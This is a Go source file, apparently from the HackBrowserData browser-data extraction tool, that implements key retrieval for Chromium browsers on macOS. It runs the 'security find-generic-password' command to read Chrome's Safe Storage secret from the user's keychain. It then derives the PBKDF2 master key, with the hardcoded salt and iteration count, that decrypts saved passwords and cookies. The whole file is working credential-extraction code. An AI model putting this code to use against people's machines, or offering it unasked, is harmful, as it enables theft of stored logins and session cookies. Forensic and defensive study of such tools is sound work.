You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
HackBrowserData/browser/chromium/chromium_darwin.go

60 lines
1.5 KiB

//go:build darwin
package chromium
import (
"bytes"
"crypto/sha1"
"errors"
"os"
"os/exec"
"strings"
"golang.org/x/crypto/pbkdf2"
"github.com/moond4rk/HackBrowserData/item"
"github.com/moond4rk/HackBrowserData/log"
)
var (
errWrongSecurityCommand = errors.New("wrong security command")
errCouldNotFindInKeychain = errors.New("could not be find in keychain")
)
func (c *Chromium) GetMasterKey() ([]byte, error) {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
// don't need chromium key file for macOS
defer os.Remove(item.TempChromiumKey)
// Get the master key from the keychain
// $ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", strings.TrimSpace(c.storage)) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
return nil, err
}
if stderr.Len() > 0 {
if strings.Contains(stderr.String(), "could not be found") {
return nil, errCouldNotFindInKeychain
}
return nil, errors.New(stderr.String())
}
chromeSecret := bytes.TrimSpace(stdout.Bytes())
if chromeSecret == nil {
return nil, errWrongSecurityCommand
}
chromeSalt := []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
if key == nil {
return nil, errWrongSecurityCommand
}
c.masterKey = key
log.Infof("%s initialized master key success", c.name)
return key, nil
}